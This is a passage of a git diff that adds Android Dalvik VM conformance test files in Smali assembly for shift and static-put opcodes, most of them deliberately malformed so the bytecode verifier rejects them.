+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       shr-int/2addr v6, v7
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_2.smali
new file mode 100644
index 0000000..84121ee
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_2.smali

@@ -0,0 +1,18 @@
+.source "T_shr_int_2addr_2.java"
+.class  public Ldot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       shr-int/2addr v6, v8
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_3.smali
new file mode 100644
index 0000000..a7a4f76
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_3.smali

@@ -0,0 +1,18 @@
+.source "T_shr_int_2addr_3.java"
+.class  public Ldot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DI)I
+.registers 8
+
+       shr-int/2addr v5, v7
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_4.smali
new file mode 100644
index 0000000..c618329
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_4.smali

@@ -0,0 +1,18 @@
+.source "T_shr_int_2addr_4.java"
+.class  public Ldot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)I
+.registers 8
+
+       shr-int/2addr v5, v7
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_5.smali
new file mode 100644
index 0000000..a222bd6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_5.smali

@@ -0,0 +1,18 @@
+.source "T_shr_int_2addr_5.java"
+.class  public Ldot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       shr-int/2addr v5, v7
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_6.smali
new file mode 100644
index 0000000..6f3ce99
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_6.smali

@@ -0,0 +1,18 @@
+.source "T_shr_int_2addr_6.java"
+.class  public Ldot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)I
+.registers 8
+
+       shr-int/2addr v6, v7
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_1.smali
new file mode 100644
index 0000000..76b8dca
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_1.smali

@@ -0,0 +1,18 @@
+.source "T_shr_int_lit8_1.java"
+.class  public Ldot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       shr-int/lit8 v0, v7, 1
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_10.smali
new file mode 100644
index 0000000..1dfd795
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_10.smali

@@ -0,0 +1,18 @@
+.source "T_shr_int_lit8_10.java"
+.class  public Ldot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       shr-int/lit8 v0, v6, 2
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_2.smali
new file mode 100644
index 0000000..21eea2e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_2.smali

@@ -0,0 +1,18 @@
+.source "T_shr_int_lit8_2.java"
+.class  public Ldot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       shr-int/lit8 v0, v7, 2
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_3.smali
new file mode 100644
index 0000000..cbefe94
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_3.smali

@@ -0,0 +1,18 @@
+.source "T_shr_int_lit8_3.java"
+.class  public Ldot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       shr-int/lit8 v0, v7, -1
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_4.smali
new file mode 100644
index 0000000..464adc7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_4.smali

@@ -0,0 +1,18 @@
+.source "T_shr_int_lit8_4.java"
+.class  public Ldot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       shr-int/lit8 v0, v7, 33
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_5.smali
new file mode 100644
index 0000000..368746a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_5.smali

@@ -0,0 +1,18 @@
+.source "T_shr_int_lit8_5.java"
+.class  public Ldot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       shr-int/lit8 v0, v7, 0
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_6.smali
new file mode 100644
index 0000000..88b0398
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_6.smali

@@ -0,0 +1,18 @@
+.source "T_shr_int_lit8_6.java"
+.class  public Ldot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 8
+
+       shr-int/lit8 v0, v7, 1
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_7.smali
new file mode 100644
index 0000000..5622017
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_7.smali

@@ -0,0 +1,18 @@
+.source "T_shr_int_lit8_7.java"
+.class  public Ldot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       shr-int/lit8 v0, v8, 2
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_8.smali
new file mode 100644
index 0000000..1f9543a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_8.smali

@@ -0,0 +1,18 @@
+.source "T_shr_int_lit8_8.java"
+.class  public Ldot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 8
+
+       shr-int/lit8 v0, v6, 2
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_9.smali
new file mode 100644
index 0000000..c3e0a4f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_9.smali

@@ -0,0 +1,18 @@
+.source "T_shr_int_lit8_9.java"
+.class  public Ldot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 8
+
+       shr-int/lit8 v0, v6, 2
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_1.smali
new file mode 100644
index 0000000..d844619
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_1.smali

@@ -0,0 +1,18 @@
+.source "T_shr_long_1.java"
+.class  public Ldot/junit/opcodes/shr_long/d/T_shr_long_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 11
+
+       shr-long v0, v8, v10
+       return-wide v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_2.smali
new file mode 100644
index 0000000..cb97b49
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_2.smali

@@ -0,0 +1,18 @@
+.source "T_shr_long_2.java"
+.class  public Ldot/junit/opcodes/shr_long/d/T_shr_long_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 11
+
+       shr-long v0, v8, v11
+       return-wide v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_3.smali
new file mode 100644
index 0000000..db7d623
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_3.smali

@@ -0,0 +1,18 @@
+.source "T_shr_long_3.java"
+.class  public Ldot/junit/opcodes/shr_long/d/T_shr_long_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)J
+.registers 11
+
+       shr-long v0, v7, v9
+       return-wide v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_4.smali
new file mode 100644
index 0000000..7ddef77
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_4.smali

@@ -0,0 +1,18 @@
+.source "T_shr_long_4.java"
+.class  public Ldot/junit/opcodes/shr_long/d/T_shr_long_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)J
+.registers 11
+
+       shr-long v0, v9, v10
+       return-wide v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_5.smali
new file mode 100644
index 0000000..3ed3098
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_5.smali

@@ -0,0 +1,18 @@
+.source "T_shr_long_5.java"
+.class  public Ldot/junit/opcodes/shr_long/d/T_shr_long_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FI)J
+.registers 11
+
+       shr-long v0, v9, v10
+       return-wide v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_6.smali
new file mode 100644
index 0000000..a75ffb9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_6.smali

@@ -0,0 +1,18 @@
+.source "T_shr_long_6.java"
+.class  public Ldot/junit/opcodes/shr_long/d/T_shr_long_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 11
+
+       shr-long v0, v7, v10
+       return-wide v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_7.smali
new file mode 100644
index 0000000..f43d88b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_7.smali

@@ -0,0 +1,18 @@
+.source "T_shr_long_7.java"
+.class  public Ldot/junit/opcodes/shr_long/d/T_shr_long_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DI)J
+.registers 11
+
+       shr-long v0, v8, v10
+       return-wide v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_1.smali
new file mode 100644
index 0000000..863ce76
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_1.smali

@@ -0,0 +1,18 @@
+.source "T_shr_long_2addr_1.java"
+.class  public Ldot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 11
+
+       shr-long/2addr v8, v10
+       return-wide v8
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_2.smali
new file mode 100644
index 0000000..8035697
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_2.smali

@@ -0,0 +1,18 @@
+.source "T_shr_long_2addr_2.java"
+.class  public Ldot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 11
+
+       shr-long/2addr v8, v11
+       return-wide v8
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_3.smali
new file mode 100644
index 0000000..5a84526
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_3.smali

@@ -0,0 +1,18 @@
+.source "T_shr_long_2addr_3.java"
+.class  public Ldot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)J
+.registers 11
+
+       shr-long/2addr v7, v9
+       return-wide v7
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_4.smali
new file mode 100644
index 0000000..1199b78
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_4.smali

@@ -0,0 +1,18 @@
+.source "T_shr_long_2addr_4.java"
+.class  public Ldot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)J
+.registers 11
+
+       shr-long/2addr v9, v10
+       return-wide v9
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_5.smali
new file mode 100644
index 0000000..6099a13
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_5.smali

@@ -0,0 +1,18 @@
+.source "T_shr_long_2addr_5.java"
+.class  public Ldot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FI)J
+.registers 11
+
+       shr-long/2addr v9, v10
+       return-wide v9
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_6.smali
new file mode 100644
index 0000000..5c653bb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_6.smali

@@ -0,0 +1,18 @@
+.source "T_shr_long_2addr_6.java"
+.class  public Ldot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 11
+
+       shr-long/2addr v7, v10
+       return-wide v7
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_7.smali
new file mode 100644
index 0000000..0c43bd4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_7.smali

@@ -0,0 +1,18 @@
+.source "T_shr_long_2addr_7.java"
+.class  public Ldot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DI)J
+.registers 11
+
+       shr-long/2addr v8, v10
+       return-wide v8
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_1.smali
new file mode 100644
index 0000000..1b4feaa
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_1.smali

@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_1.java"
+.class  public Ldot/junit/opcodes/sput/d/T_sput_1;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:I
+.field protected static st_p1:I
+.field private static st_pvt1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static getPvtField()I
+.registers 2
+
+       sget v0, Ldot/junit/opcodes/sput/d/T_sput_1;->st_pvt1:I
+       return v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1000000
+       sput v1, Ldot/junit/opcodes/sput/d/T_sput_1;->st_i1:I
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_10.smali
new file mode 100644
index 0000000..c3f5b2d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_10.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_10.java"
+.class  public Ldot/junit/opcodes/sput/d/T_sput_10;
+.super  Ljava/lang/Object;
+
+.field public st_i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1000000
+       sput v1, Ldot/junit/opcodes/sput/d/T_sput_10;->st_i1N:I
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_11.smali
new file mode 100644
index 0000000..dc5c9b3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_11.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_11.java"
+.class  public Ldot/junit/opcodes/sput/d/T_sput_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1000000
+       sput v1, Ldot/junit/opcodes/sput/TestStubs;->TestStubFieldFinal:I
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_12.smali
new file mode 100644
index 0000000..3041c6b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_12.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_12.java"
+.class  public Ldot/junit/opcodes/sput/d/T_sput_12;
+.super  Ljava/lang/Object;
+
+.field public static final st_i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1000000
+       sput v1, Ldot/junit/opcodes/sput/d/T_sput_12;->st_i1:I
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_14.smali
new file mode 100644
index 0000000..cd21062
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_14.smali

@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_14.java"
+.class  public Ldot/junit/opcodes/sput/d/T_sput_14;
+.super  Ldot/junit/opcodes/sput/d/T_sput_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sput/d/T_sput_1;-><init>()V
+       return-void
+.end method
+
+.method public static getProtectedField()I
+.registers 2
+
+       sget v0, Ldot/junit/opcodes/sput/d/T_sput_1;->st_p1:I
